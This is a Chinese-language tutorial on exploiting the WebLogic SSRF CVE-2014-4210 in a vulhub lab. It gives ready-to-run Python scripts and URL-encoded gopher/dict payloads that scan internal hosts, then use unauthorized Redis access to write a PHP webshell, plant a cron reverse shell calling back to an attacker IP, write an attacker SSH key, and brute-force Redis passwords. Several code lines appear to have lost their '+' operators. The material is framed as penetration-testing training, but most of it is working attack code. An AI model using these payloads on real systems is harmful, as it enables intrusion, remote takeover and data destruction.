利用WebLogic的SSRF漏洞探测内网信息
漏洞描述
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
CVE编号:CVE-2014-4210
影响范围:
•Oracle WebLogic Server 10.3.6.0•Oracle WebLogic Server 10.0.2.0
环境搭建
下载vulhub:git clone https://github.com/vulhub/vulhub.git
进入目录:cd vulhub/weblogic/ssrf/
启动环境:docker-compose up -d
访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
出现以下页面,说明测试环境ok。
漏洞复现
开启Burp代理,提交表单
image-20211127214445369
从返回页面的结果的报错上看,当提交表单的时候会访问下面这个URL,并做XMLSoap解析,这个错误就是我们SSRF漏洞产生的关键点
image-20211127215236521
为了验证是否存在SSRF漏洞,我们将operator的值改为DNSLog生成的记录
image-20211127220322683
在DNSLog中可以看到请求的内容,说明存在SSRF漏洞
探测内网存活IP
若ip不存在时返回如下信息(会一直请求该地址,直到超时)
image-20211127233025326
若ip存在则返回如下信息
image-20211127223539057
探测端口
若端口不开放返回如下信息
image-20211127233755211
若端口开放返回如下信息(分两种情况)
若开放的端口为非Web端口
image-20211127224151445
若开放的端口为Web端口(还分为请求类型是否为text/html)
text/html类型
image-20211127224433070
非text/html类型
image-20211127224519722
我们可以利用返回信息来进行内网探测
内网探测脚本编写
编写一个python脚本自动化探测内网的存活主机ip与开放端口
代码语言:javascript复制#!/usr/bin/env python
# coding: utf-8
# 功能:扫描内网开放ip及端口
import argparse
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '6379', '4899', '8080', '7001', '8000')
for port in ports:
vul_url = args.url '/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search' % (final_ip, port)
try:
r = requests.get(vul_url, timeout=15, verify=False)
result0 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
result1 = re.findall('route to host', r.content)
result2 = re.findall('but could not connect', r.content)
if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:
out = "port exist: " final_ip ':' port
print out
except Exception, e:
pass
def get_ip():
vul_url = args.url '/uddiexplorer/SetupUDDIExplorer.jsp'
r = requests.get(vul_url, timeout=15, verify=False)
reg = re.compile(r"For example: http://b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) b")
result1 = reg.findall(r.content)
result = ""
if result1:
result = result1[0].replace("For example: http://","")
return result
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit')
parser.add_argument('--url', dest='url', required=True, help='Target url')
parser.add_argument('--ip', dest='scan_ip', help='IP to scan')
args = parser.parse_args()
ip = '.'.join(args.scan_ip.split('.')[:-1])
#print ip
#ip = get_ip()
if ip:
ite_ip(ip)
else:
print "no ip"
image-20211127234237632
SSRF结合Redis未授权访问GetShell
漏洞描述
Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
在这里主要讲解SSRF的利用,所以就不对Redis的协议进行分析了,直接使用Exp进行利用。
之后会对Redis的漏洞进行深入学习。
常见redis反弹shell的bash脚本 redis-cli -h 1 -p 2 flushallecho -e "nn*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1nn"|redis-cli -h 1 -p 2 -x set 1redis-cli -h 1 -p 2 config set dir /var/spool/cron/redis-cli -h 1 -p 2 config set dbfilename rootredis-cli -h 1 -p 2 saveredis-cli -h 1 -p 2 quit •flushall:删除所有数据库中的所有key。这行代码感觉不是很有必要。。。•-x参数:从标准输入读取一个参数:•在redis的第0个数据库中添加key为1,value为
nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nnn
的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。•dir 数据库备份的文件放置路径•Dbfilename 备份文件的文件名
漏洞利用
推荐使用Gopherus可以帮助我们直接生成gopher payload,以利用SSRF GetShell。
项目地址:https://github.com/tarunkant/Gopherus
写入WebShell
利用条件:
1.redis 需要对网站中的目录有写权限2.知道网站绝对路径
使用Gopherus生成payload:
代码语言:javascript复制./gopherus.py --exploit redis
image-20211129145802825
再对生成的payload进行URL编码,就是我们最终生成的payload
image-20211129145938675
放入URL参数浏览器请求如下,成功执行Redis命令写入webshell。
代码语言:javascript复制http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27hackme%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
成功写入WebShell
image-20211129152046102
image-20211129153455684
crontab 定时任务反弹 shell
利用条件:
•Redis需要使用root用户启用(不是通过service或systemctl启动)•这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
1.因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行2.因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同 Centos的定时任务文件在
/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab
PS:高版本的redis默认启动是redis
权限,故写这个文件是行不通的
使用gopher协议写入
使用Gopherus生成payload:
代码语言:javascript复制./gopherus.py --exploit redis
image-20211129173511057
再对生成的payload进行URL编码,就是我们最终生成的payload
image-20211129172300220
放入URL参数浏览器请求如下,成功执行Redis命令,写入计划任务,执行反弹shell。
代码语言:javascript复制http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.123.66/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
成功在计划任务中写入反弹shell命令(每分钟执行一次)
image-20211129172545796
在攻击机上使用nc启用监听nc -lvp 1234
,等待一会成功反弹shell
使用dict协议写入
dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息。
协议格式:dict://<host>:<port>/<dict-path>
一般为:dict://<host>:<port>/info
探测端口应用信息
执行命令:dict://<host>:<port>/命令:参数
冒号相当于空格,在 redis 利用中,只能利用未授权访问的 redis
与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行。
image-20211129174920740
其他的与 gopher 没有太大差别。
在 redis 未授权访问中,当传输命令时,dict 协议的话要一条一条的执行,而 gopher 协议执行一条命令就行了,所以一般 dict 协议只是当个备胎用。
而且在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码。
在这里使用了一个大佬写好的python脚本进行利用:
代码语言:javascript复制#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib,binascii
url = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url=" # 存在 ssrf 的 url
target = "dict://127.0.0.1:6379/" # redis 内网服务器地址
cmds = ['set:mars:\\"\n* * * * * root bash -i >& /dev/tcp/192.168.123.66/9999 0>&1\n\\"', # shell接收地址与端口号
"config:set:dir:/etc",
"config:set:dbfilename:crontab",
"bgsave"]
for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder = hex(ord(single_char)).replace("0x","")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = urllib.quote(cmd_encoder,'utf-8')
payload = url target cmd_encoder
print payload
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()
从脚本的执行结果可以看出,dict 协议需要一条一条执行
image-20211129180614201
写入成功
image-20211129191425737
写入SSH公钥
利用条件:
•Redis需要使用root用户启用
通过在目标机器上写入 ssh 公钥,然后便可以通过 ssh 免密码登录目标机器。
生成ssh 公/私钥
代码语言:javascript复制ssh-keygen -t rsa
一直回车即可
image-20211129190425762
可以在家目录的.ssh/
下看到生成的结果,分别为私钥和公钥
image-20211129190733667
未授权访问直接写
代码语言:javascript复制Copyflushall
set 1 'id_rsa.pub 里的内容'
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
save
然后通过ssh -i /root/.ssh/id_rsa root@192.168.123.66
即可免密登录远程机器
结合 SSRF
编写脚本将内容转换为 RESP 协议的格式
代码语言:javascript复制#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib
protocol="gopher://"
ip="192.168.123.66"
port="6379"
sshpublic_key = "nnid_rsa.pub 里的内容nn"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol ip ":" port "/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd ="*" str(len(redis_arr))
for x in redis_arr:
cmd =CRLF "$" str(len((x.replace("${IFS}"," ")))) CRLF x.replace("${IFS}"," ")
cmd =CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload = urllib.quote(redis_format(x))
print urllib.quote(payload)
执行脚本,放入URL参数浏览器请求如下
代码语言:javascript复制http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24569%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCz64S4uDZGCLcmvzAPllttoM8F2ou3gtVJKO41/zA1/v6iDds%2BuNUgaUKC7Ntx%2BHqDTB98Hbl8CmvVkWqvNd3D3lo1KF2qikNuel/Fx4inoi8T8ECGcXqUVkq8mB0sG0opbYTwNnFrwd4sY0eXD%2BhRmwfAfVPLbOGC8hwKPSckUghWm2DAQPSqQPC290CTDcz%2BBxDNAVhbxPH/de0depH6fCoCQOA3CtnabfFU8jVosfR4T2D80BlMtIzo/OsZxzUtUikcN7e1a/vjXy5YrMRAlZ6JxAHrkenhhPEqubpUdIr0vONHsjbfGBnh0T3SS/Tr/EWlTWuSSjF/L%2BMseqIj8ojN0/8EACmyqHWady0ZZNSXW2hNcAey7plp8ETMaXdPiXG1SuVriq/XmN/b80sovkTprHIzJzmaqa2NWNHwXgrtmVHhs7DkN8R6FjsiydzSRBLf9oDg4K6/1tS7TneYHGyp3aNCtmGnXi8TjILbUloPhRzxfHWVwhKfF%2BBTlC0%3D%20root%40Ulysses%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/root/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
可以看到在受害者的机器上成功写入攻击者的公钥
image-20211129193827668
这样一来就可以使用ssh无密码远程登录了
image-20211129194046297
SSRF暴力破解内网Redis弱口令
在内网redis需要密码的情况下,使用dict协议或者gopher协议登录。
使用dict协议暴力破解
在登录错误的情况下返回如下信息
image-20211129200305828
在登录正确的情况下返回如下信息
image-20211129200340232
自动化脚本编写(python3):
代码语言:javascript复制import urllib.request
import urllib.parse
url = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url=" # 请输入目标url
param = 'dict://192.168.123.188:6379/auth:'
with open('passwords.txt', 'r ') as file:
passwds = file.readlines()
for passwd in passwds:
print("正在尝试密码:" passwd)
passwd = passwd.strip("n")
all_url = url param passwd
request = urllib.request.Request(all_url)
response = urllib.request.urlopen(request).read()
# print(response)
if " OKrn OKrn".encode() in response:
print("[ ] 爆破成功 密码为: " passwd)
break
使用gopher协议暴力破解
在登录错误的情况下返回如下信息
image-20211129201936583
在登录正确的情况下返回如下信息
image-20211129202016066
自动化脚本编写(python3):
代码语言:javascript复制import requests
target = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url=" # 请输入目标url
rhost = "192.168.123.188"
rport = "6379"
with open("passwords.txt","r ") as file:
passwds = file.readlines()
for passwd in passwds:
print("正在尝试密码:" passwd)
passwd = passwd.strip("n")
len_pass = len(passwd)
payload = r"gopher://" rhost ":" rport "/_%2A2%0d%0a%244%0d%0aAUTH%0d%0a%24" str(len_pass) r"%0d%0a" passwd r"%0D%0A%2A1%0D%0A"
url = target str(payload)
text = requests.get(url).text
if "OK" in text:
print("[ ] 爆破成功 密码为: " passwd)
break
注:若redis在受害者本地的服务器,可以直接使用file协议读取配置文件中的密码 常见的Redis配置文件路径如下: •/etc/redis.conf•/etc/redis/redis.conf•/usr/local/redis/etc/redis.conf•/opt/redis/ect/redis.conf
原创作者:Ulysses
内部学员投稿